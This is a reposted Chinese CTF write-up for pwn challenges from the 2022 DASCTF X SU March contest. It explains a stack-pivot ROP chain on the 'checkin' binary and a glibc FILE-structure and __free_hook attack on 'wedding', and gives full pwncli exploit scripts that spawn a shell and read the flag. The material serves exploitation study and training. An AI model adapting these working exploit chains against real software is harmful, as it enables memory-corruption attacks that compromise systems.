ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

2022DASCTFXSU三月春季挑战赛-pwn-wp

2022-03-29 09:00:10  阅读:568  来源: 互联网

标签:addr libc ret 2022DASCTFXSU base pop wp pwn revise


目录

2022DASCTFXSU三月春季挑战赛-pwn-wp

今天终于有空来写下wp。最后一题的CVE-2022-0185在学习中,未完待续。

checkin

这题最开始想用one gadget去做,后来发现libc-2.31one gadget都比较严格,于是换成puts泄露再读取输入执行system("/bin/sh")

checksec

image-20220328234420617

漏洞点

栈溢出,可溢出0x10字节,覆盖掉rbpret

image-20220328234728394

利用思路

观察0x4011BF处的汇编可知,rax等于rbp-0xb0,然后在0x4011CB处将rax赋值给了rsi,因此,只要控制了rbp,相当于可以在任意地址处写入0xb0个字节。

至少两种思路,主要后面不一样。

思路一:

  • 栈迁移到bss

  • 控制rbp后再进入0x4011BF,然后在bss段上rop

  • 使用partial overwrite 修改read@got,使其为syscall; ret。这里由于read的地址偏移为0xff0,加个0x10直接进位了,所以还有半个字节需要猜测一下,概率为1/16

    image-20220329005900749

  • 使用read控制rax10,并修改read@got,随即利用ret2csu执行mprotect(bss, 0x1000, 7)

  • 跳转到准备好的shellcode执行获取shell

思路二:

  • 栈迁移到bss
  • 控制rbp后再进入0x4011BF,然后在bss段上rop
  • 使用magic gadgetadd [rbp-0x3d], ebx; ret,将setvbuf@got修改为puts的地址
  • 泄露出read地址,计算得到system地址
  • 再次read读取输入,跳转执行system('/bin/sh')即可

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

if gift.remote:
    libc = ELF('./libc.so.6')
    gift['libc'] = libc

pop_rdi_ret = CurrentGadgets.pop_rdi_ret()
pop_rsi_r15_ret = CurrentGadgets.pop_rsi_r15_ret()
leave_ret = CurrentGadgets.leave_ret()
magic = CurrentGadgets.magic_gadget()
pop_rbp_ret = CurrentGadgets.pop_rbp_ret()
ret = CurrentGadgets.ret()
read_again = 0x4011bf
bss_addr = 0x404080 + 0xa00


def exp_magic():
    pop_rbx_rbp_r12131415 = 0x40124a

    # 栈迁移到bss段
    payload = flat({
        0xa0: [
            bss_addr+0xa0,
            read_again
        ]
    })

    s(payload)

    libc_puts = libc.sym.puts
    libc_setvbuf = libc.sym.setvbuf

    offset = (libc_puts - libc_setvbuf) if libc_puts > libc_setvbuf else (0x100000000 + libc_puts - libc_setvbuf)

    # 修改setvbuf为puts
    payload = flat(
        {
            0: [
                pop_rbx_rbp_r12131415,
                offset,
                elf.got.setvbuf+0x3d,
                0, 0, 0, 0,
                magic,
                ret,
                pop_rdi_ret,
                elf.got.read,
                elf.plt.setvbuf,
                pop_rbp_ret,
                bss_addr+0xa0,
                read_again
            ],
            0xa0: [
                bss_addr - 8,
                leave_ret
            ]
        }
    )
    s(payload)

    read_addr = u64_ex(rl()[:-1])
    libc_base = read_addr - libc.sym.read
    log_libc_base_addr(libc_base)
    libc.address = libc_base

    # 读取输入,执行system('/bin/sh')
    payload = flat({
        0:[
            pop_rdi_ret,
            libc.search(b"/bin/sh").__next__(),
            libc.sym.system
        ],
        0x70: leave_ret,
        0xa0: [
            bss_addr - 8,
            leave_ret
        ]
    })
    s(payload)
    sleep(1)
    sl("cat /flag")
    m = rls("flag")
    if b"flag" in m:
        log_ex(f"Get flag: {m}")
    ia()

def exp_partial_write():
    bss_addr = elf.got.setvbuf
    # 栈迁移
    layout = {
        0xa0: [
            bss_addr+0xa0,
            read_again
        ]
    }
    s(flat(layout))

    # rop1
    layout = {
        0xa0: [
            bss_addr,
            leave_ret
        ],
        0: [
            bss_addr+0x68,
            pop_rsi_r15_ret,
            elf.got.read-8,
            0,
            elf.plt.read,
            0x40124a,  # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
            0, # rbx
            2, # rbp
            bss_addr & ~0xfff,
            0x1000,
            7,
            elf.got.read,
            0x401230, # csu up
            ShellcodeMall.amd64.execve_bin_sh
        ]
    }
    s(flat(layout))
    s(b"a"*8 + p16(0x8000))
    sleep(1)
    sl("cat /flag")
    m = rls("flag")
    if b"flag" in m:
        log_ex(f"Get flag: {m}")
    ia()

if __name__ == "__main__":
    # for i in $(seq 1 20); do ./exp.py de ./checkin -nl ; done
    # try:
    #     exp_partial_write()
    # except:
    #     pass

    exp_magic()

打远程:

image-20220329010500135

爆破:

image-20220329010701970

wedding

这题刚开始被libc给坑了,最开始本地使用的是2.31-0ubuntu9.2_amd64调试的,这个版本的file_jump_table是可写的;但是远程给的是2.31-0ubuntu9.7_amd64,这个版本的file_jump_table都是不可写的。因为我最初使用的思路是改写stdout->flags/bin/sh,修改_IO_file_jumps->_IO_file_xsputnsystem去拿shell,所以那天上午爆破了好久都失败了......所以以后,还是老老实实用给的libc去调试吧。调试的时候建议关闭aslr

checksec

image-20220329011230099

漏洞点

  1. prepare中没有校验offset

    image-20220329011413395

  2. revise中没有校验index:

    image-20220329011500216

建议把这个标识变量改一下,要不然wish/wlsh/w1sh容易看花眼。。。

利用思路

题目给的条件为:

  • 可以分配任意大小的内存
  • 可以在任意偏移处覆盖,但是只能覆盖为0x135或者0x1314,覆盖机会为3
  • 可以在heap任意偏移处的指针写入8或者3个字节,各有1次机会。

当然,上面说的任意也不是完全任意,受限于my_read只读取8个字节,所以实际能控制的偏移(数字)为:-999999999999999

我们知道,在申请内存足够大,大概大于128K的时候,会调用mmap映射虚拟内存页,此时映射的虚拟内存页会位于libc.so映射空间的上方。此时的偏移可控,也就是可以修改libc.so上的任意的数据,修改的内容为2字节,固定。

由于没有地址,朴素的想法就是先泄露地址,因此,打_IO_2_1_stdout_结构体去泄露地址。有地址后就好办了,思路为:

  • 申请大内存,利用任意偏移修改stdout->flagsstdout->_IO_write_base,泄露地址并计算出PIE基地址和libc基地址

  • 利用一个跳板,和两次分别写8/3字节的机会,修改change3change8为小负数,这样就能继续写很多次。我选择的跳板在0x3e20偏移处,第一次可以写8个字节,修改为任意地址,第二次就能将change3修改为小负数

    image-20220329013447320

    然后,使用0x4008这个跳板,就可以把change8也修改为小负数

    image-20220329013551371

  • 继续使用跳板,将stderr->vtable修改为_IO_str_jumps;将_IO_2_1_stderr_+131处修改为sh;;将__free_hook修改为system;将stderr->flags修改为0x80;最后把bss段上的stdout修改为_IO_2_1_stderr_。接着,在调用puts(xxx)的时候,会调用stderr->vtable->_IO_file_xsput,实际调用的是_IO_str_finish,接着调用free(fp->_IO_buf_base),就是调用system("sh;")

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

def prepare(size:int, offset:int=None):
    if size > 0x7fffffff:
        size -= (0x1 << 32)
    if offset and offset > 0x7fffffff:
        offset -= (0x1 << 32) 
    sla("your choice >> \n", "1")
    sa("how much do you prepare>> \n", str(size).ljust(8, "\x00"))
    if offset is not None:
        sa(">> \n", str(offset).ljust(8, "\x00"))


def revise(idx, data):
    sla("your choice >> \n", "2")
    sla("which packet you want to revise>> \n", str(idx))
    sa("now write your wish>> \n", data)

# 调用mmap 分配到libc上方
# 修改stdout->flags
off_first = 0x42ff0
prepare(0x40000, off_first + libc.sym['_IO_2_1_stdout_'] + 1)

# 调用mmap 分配到libc上方
# 修改stdout->write_base
prepare(0x40000, off_first + 0x83ff0 - 0x42ff0 + libc.sym['_IO_2_1_stdout_'] + 0x20)

# 根据标志寻找到地址
io.recvuntil(p64(0xfffffffffffffff8), timeout=10)
m1 = io.recvn(0x10)

code_addr = u64_ex(m1[:8])
libc_addr = u64_ex(m1[8:0x10])
code_base = code_addr - 0x4040
libc_base = libc_addr - 0x1f1530
log_libc_base_addr(libc_base)
log_code_base_addr(code_base)

if (libc_base >> 40) != 0x7f or ((code_base >> 40) != 0x55 and (code_base >> 40) != 0x56):
    errlog_exit("Wrong addr")

libc.address = libc_base
# check
revise(-80, p64(code_base+0x4050+1))
revise(0x3ec, p16(0xffee)+p8(0xff))

revise(-19, p8(0x55))
revise(-19, p16(0xffee)+p8(0xff))

# _IO_2_1_stderr_ 
str_jumps_off = 0x1e9560
revise(-80, p64(libc.sym['_IO_2_1_stderr_'] + 216)) # stderr->vtable

revise(0x3ec, p32_ex(libc_base + str_jumps_off - 0x28)[:3])

revise(-80, p64(libc.sym['__free_hook']))
revise(0x3ec, p64(libc.sym.system)[:3])

revise(-80, p64(libc.sym['__free_hook']+3)) #
revise(0x3ec, p64(libc.sym.system)[3:6])

revise(-80, p64(libc.sym['__free_hook']+6)) #
revise(0x3ec, p64(libc.sym.system)[6:])

revise(-80, p64(libc.sym['_IO_2_1_stderr_'] + 131)) # stderr -> 
revise(0x3ec, "sh;")

revise(-12, p8(0x80))

revise(-80, p64(code_base + 0x4020)) # stdout 

revise(0x3ec, p64(libc.sym['_IO_2_1_stderr_'])[:3])

ia()

这里使用0xfffffffffffffff8来找地址,有代码段地址和libc地址:

image-20220329014634492

本地多试几次就出来了:

image-20220329014526706

远程不知道是不是偏移不对,stdout那里一直没有泄露,不知道啥情况。所以,这个大概率是打远程失败的非预期解了。

SU_message

CVE调试学习中, #TODO

这里有出题人的出题报告:https://kagehutatsu.com/?p=551

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

标签:addr,libc,ret,2022DASCTFXSU,base,pop,wp,pwn,revise
来源: https://www.cnblogs.com/LynneHuan/p/16070118.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有